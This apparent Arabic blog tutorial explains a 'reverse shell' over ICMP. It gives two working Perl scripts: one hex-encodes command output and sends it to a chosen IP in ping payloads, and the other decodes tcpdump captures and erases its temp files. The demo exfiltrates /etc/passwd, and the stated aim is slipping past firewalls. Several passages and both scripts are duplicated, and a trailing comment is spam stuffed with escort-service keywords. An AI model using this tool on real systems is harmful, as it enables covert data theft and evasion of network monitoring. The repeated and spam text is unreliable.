Reverse Shell over ICMP protocol -OOB
بسم الله الرحمن الرحيم
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين
اللهم لا علم لنا الا ماعلمتنا انك نت العليم الحكيم
اليوم الموضوع راح يتكلم عن بروتوكول ICMP بشكل عام وعن الاتصال العكسي على هذا البروتوكول بشكل خاص
بروتوكول ICMP اختصار Internet Control Message Protocol
ويستخدم لتشخيص حالة الشبكة واعطالها
الباكت الواحد المرسل يحتوي على ثلاث خانات
الان الخطوات اول شي نحول الملف او ناتج الامر الى هكس وبعد كذا نرسل الملف عن طريق حزم بالامر ping
وفي الجهاز حقنا يكون العملية بالعكس
يعني نستقبل الملف ونحوله من هكس الى ملف قابل للقراءة وبعدين نستعرضه
نقدر نعمل الخطوات السابقة من غير ادوات ولاكن بتكون طويلة وفيها شوي من الصعوبة
انا عملت اداة تفيد الى حد ما
الاداة جربتها على الجهاز والحمدلله مشت الامور وباذن الله ينزل الاصدار الرسمي منها والى الان هي في طور التطوير
اول شي الاداة اللي بتكون على السيرفر
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين
اللهم لا علم لنا الا ماعلمتنا انك نت العليم الحكيم
اليوم الموضوع راح يتكلم عن بروتوكول ICMP بشكل عام وعن الاتصال العكسي على هذا البروتوكول بشكل خاص
بروتوكول ICMP اختصار Internet Control Message Protocol
ويستخدم لتشخيص حالة الشبكة واعطالها
الباكت الواحد المرسل يحتوي على ثلاث خانات
#Type
#Code
#Checksum
بالاضافة الى خانات اخرى نتطرق لها مع الدرس باذن الله
لكل خانة رقم معيّن يحدد الاتصال ونتيجته
من ضمنها
TYPE Description ---- ----------- 0 Echo Reply 3 Destination Unreachable 4 Source Quench 5 Redirect Message 8 Echo Request 11 Time Exceeded 12 Parameter Problem 13 Timestamp Request 14 Timestamp Reply 15 Information Request (No Longer Used) 16 Information Reply (No Longer Used) 17 Address Mask Request 18 Address Mask Reply
اللي يهمنا في الجدول السابق هو 8 لان ping عادة تستخدم النوع هذا..
الان نفتح الواير شارك عشان توضح لنا الفكرة اكثر
في الصورة السابقة ارسلنا باكت واحد
والنتيجة في الوايرشارك باكتين
لان الاولى هي request والثانية هي replay
ولكن اللي يهمنا محتوى الباكت وكيف نقدر نعدل عليه بحيث اننا نقدر نتصل عكسي
نشوف المحتوى
مثل ماذكرنا الخانات الثلاث سابقة وكل واحد منها له تعريفة خاصه فيه
اللي يهمنا في الموضوع الصورة السابقة
وهي الداتا او المعلومات اللي يحتويها الباكت وفي الغالب امر ping يستخدم بيانات عشوائية مثل ماهو
واضح بالصورة
الان بعد مافهمنا وشهو البروتوكول icmp وكيف يتعرف عليه الجهاز وكيف يحتوي معلومات
خلونا نحاول نرسل كلام بسيط
مثل ماهو واضح ارسلت الجملة Thisis0n3 ووصلت مثل ماهي وبالامكان ايضا ارسال ملفات بنفس الطريقة
وبنفس الاداة
نشوف كيف
نشوف محتى الملف
/etc/passwd
في معلومات الباكت
طيب و الفايدة من البروتوكول هذا
البروتوكول هذا يفيدك في حال فلترة البروتوكولات العادية مثل tcp او udp
لان جدران الحماية اغلبها تكون على البروتوكولات السابقة
بعد ماخذينا فكرة عامة عن البروتوكول
نبدا في عملية الاتصال العكسي وتنفيذ الاوامر
الان الخطوات اول شي نحول الملف او ناتج الامر الى هكس وبعد كذا نرسل الملف عن طريق حزم بالامر ping
وفي الجهاز حقنا يكون العملية بالعكس
يعني نستقبل الملف ونحوله من هكس الى ملف قابل للقراءة وبعدين نستعرضه
نقدر نعمل الخطوات السابقة من غير ادوات ولاكن بتكون طويلة وفيها شوي من الصعوبة
انا عملت اداة تفيد الى حد ما
الاداة جربتها على الجهاز والحمدلله مشت الامور وباذن الله ينزل الاصدار الرسمي منها والى الان هي في طور التطوير
اول شي الاداة اللي بتكون على السيرفر
#!/usr/bin/perl
if ($#ARGV != 1 )
{
print "Usage perl $ yourip command\n";
exit;
}
$site = $ARGV[0];
$cmd2 = $ARGV[1];
$cmd3 = $ARGV[2];
$hex = "$cmd2 $cmd3| xxd -c 4 -pS > /tmp/command";
system($hex);
$out = "/tmp/command";
open(FILE,$out) or die ("Could not open file for reading\n");
foreach $line (<FILE>){
$cmd = "a=$(<{0};ping -c 1 -w 2 $site -p b00b`echo $line `0bb0";
system($cmd);
}
if ($#ARGV != 1 )
{
print "Usage perl $ yourip command\n";
exit;
}
$site = $ARGV[0];
$cmd2 = $ARGV[1];
$cmd3 = $ARGV[2];
$hex = "$cmd2 $cmd3| xxd -c 4 -pS > /tmp/command";
system($hex);
$out = "/tmp/command";
open(FILE,$out) or die ("Could not open file for reading\n");
foreach $line (<FILE>){
$cmd = "a=$(<{0};ping -c 1 -w 2 $site -p b00b`echo $line `0bb0";
system($cmd);
}
وثاني الشي الاداة اللي على الجهاز
#!/usr/bin/perl
use List::MoreUtils qw(uniq);
$cmd = "cat /tmp/command |cut -c 9-50 | tr -d '\n ' > /tmp/new";
system ($cmd);
$file = "/tmp/new";
open(FILE,$file) or die ("$!");
foreach $line (<FILE>){
{
@matches = $line =~ m/b00b(.*?)0bb0/g;
@uniq = uniq(@matches);
foreach $uniq (@uniq){
$cmd = " echo '$uniq \n' | xxd -r -pS >> /tmp/fin";
system($cmd);
}}
$cmd4 = "strings /tmp/fin";
system($cmd4);
$cmd5 = "rm /tmp/fin && rm /tmp/command && rm /tmp/new";
system($cmd5);
}
use List::MoreUtils qw(uniq);
$cmd = "cat /tmp/command |cut -c 9-50 | tr -d '\n ' > /tmp/new";
system ($cmd);
$file = "/tmp/new";
open(FILE,$file) or die ("$!");
foreach $line (<FILE>){
{
@matches = $line =~ m/b00b(.*?)0bb0/g;
@uniq = uniq(@matches);
foreach $uniq (@uniq){
$cmd = " echo '$uniq \n' | xxd -r -pS >> /tmp/fin";
system($cmd);
}}
$cmd4 = "strings /tmp/fin";
system($cmd4);
$cmd5 = "rm /tmp/fin && rm /tmp/command && rm /tmp/new";
system($cmd5);
}
وفي الشاشة الثالثة يكون التنصت شغال
بالامر التالي
tcpdump -i lo icmp -X > /tmp/command
lo يتم تغيره الى الجهاز المراد التنصت عليه مثل eth0 او wlan0
ونشوف النتيجة
الى هنا ينتهي الدرس
ان اخطت فمن نفسي والشيطان وان اصبت فمن الله وحده
اراكم في دروس اخرى باذن الله
Hard Rock Hotel & Casino, Tunica Resorts, MS - Mapyro
ردحذفFind addresses, 용인 출장마사지 see photos and read real people stop 경상북도 출장샵 by 계룡 출장마사지 Hard Rock Hotel & 삼척 출장마사지 Casino, Tunica Resorts 서귀포 출장안마 in MS.